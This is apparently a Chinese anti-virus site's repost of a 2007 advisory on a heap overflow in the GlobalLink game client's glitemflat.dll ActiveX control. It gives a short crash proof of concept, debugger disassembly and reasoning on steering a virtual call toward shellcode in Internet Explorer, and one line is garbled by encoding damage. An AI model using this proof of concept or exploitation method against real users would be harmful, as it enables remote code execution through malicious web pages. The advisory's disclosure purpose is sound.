Welcome visit China Anti-virus group
我要发布文章
当前位置:中国反病毒小组 >> 安全漏洞 >> 浏览文章     
   
 

 

 

联众世界游戏控件堆溢出漏洞

 作者:黑客基地 2007年10月23日 来源:反病毒小组整理   我要发布文章
 

以下是黑客基地发表
联众世界游戏控件堆溢出漏洞
受影响系统:
GlobalLink GlobalLink 2.7.0.8
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 25586
联众世界游戏大厅是联众世界自主开发的一款集棋牌、休闲、对战于一体的游戏客户端。
联众世界游反筇沧暗膅litemflat.dll ActiveX控件中SetClientInfo()函数存在堆溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
如果用户受骗使用IE访问了恶意网页的话,就可以触发这个溢出,导致在用户系统上执行任意指令。以下是已公开的PoC代码:

-----[Cut Below]------------------------------------------------------------------
<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<script>
s="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.SetClientInfo(1, s, 1)
</script>
-----[Cut Above]-------------------------------------------------------------------

运行PoC后,用ollydbg捕获异常为读取[41414145]无效地址访问异常,有漏洞的代码如下:

033D9315  |> \8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D931B  |.  85C0          TEST EAX,EAX
033D931D  |.  74 34        JE SHORT 033D9353
033D931F    | .  FF70 04        PUSH DWORD PTR DS:[EAX +4]                  ;  /hWnd  <=== 异常处!
033D9322  |.  FF15 F8523F03 CALL DWORD PTR DS:[<&USER32.IsWindow>]  ; \IsWindow

此时的寄存器情况:

EAX 41414141
ECX 03442070
EDX 006900CD ASCII "ox"
EBX 03442070
ESP 02B9FB2C
EBP 02B9FB48
ESI 03441FD0
EDI 0344210C
EIP 033D931F glitemfl.033D931F

EAX为“AAAA”,因此可以控制EAX的值,但是到这里还无法控制指令流程走向,接下来:

033D9328  |.  85C0          TEST EAX,EAX   
033D932A  | .  74 0F          JE SHORT 033D933B    ; eax为0,跳到0x033D933B
033D932C  |.  8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D9332  |.  FF70 04      PUSH DWORD PTR DS:[EAX+4]                ; /hWnd
033D9335  |.  FF15 44533F03 CALL DWORD PTR DS:[<&USER32.DestroyWindo>; \DestroyWindow
033D933B  |>  8B8E DC000000 MOV ECX,DWORD PTR DS:[ESI+DC]  ; ecx就是我们前面控制的eax的值
033D9341  |.  85C9          TEST ECX,ECX
033D9343  | .  74 07          JE SHORT  033D934C  ; 如果ECX不等于0,不跳
033D9345  |.  8B01          MOV EAX,DWORD PTR DS:[ECX]
033D9347  |.  6A 01        PUSH 1           
033D9349  | .  FF50 0C      CALL DWORD PTR DS:[EAX+C] ;  虚函数调用,可能控制
033D934C  |>  83A6 DC000000>AND DWORD PTR DS:[ESI+DC],0
033D9353  |>  8D86 40010000 LEA EAX,DWORD PTR DS:[ESI+140]

从上面的代码流程分析可以看出[ESI+DC]释放的是一个对象指针,而且可被用户控制。这个对象的结构大致为:

+00h vmt_ptr
+04h hWnd
+08h ...

要利用成功,必须使得放hWnd的地址可读,且读出的hWnd为无效的窗口句柄,就可控制流程到0x033D933B,然后使得vmt_ptr指向的地址偏移0x0C处的地址指向shellcode,而这些条件在IE中很容易得到满足。

建议:
--------------------------------------------------------------------------------
厂商补丁:
GlobalLink
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.ourgame.com/

本篇文章来源于 黑客基地-全球最大的中文黑客站

www.china-antivirus.com
 
共有位读者阅读过此文 [关闭本页]

反病毒小组给您安全的保障


    搜索:
 
  □- 本周热门文章 □- 常用专杀下载 □- 服务器安全文章
 



教你将Linux配置为代理防火墙
Linux系统下封杀非法IP
Linux如何 伪装IP
Linux系统常见问题处理方法
怎样把Linux系统服务器当作Mac的服务器
DOS下远程修改Serv-UFTP用户的登录密码
怎样做反向域名解析?
安全配置向导(SCW)为Win2003打造铜墙铁壁
在RedHat 6.0上安装Oracle 8i(全攻略)
如何设置虚拟匿名FTP主机
 
 
 
 
 



关于我们 | 版权声明 | 技术论坛 | 联系我们 | 我要投稿 Copyright(c) china-antivirus.com All rights reserved 反病毒小组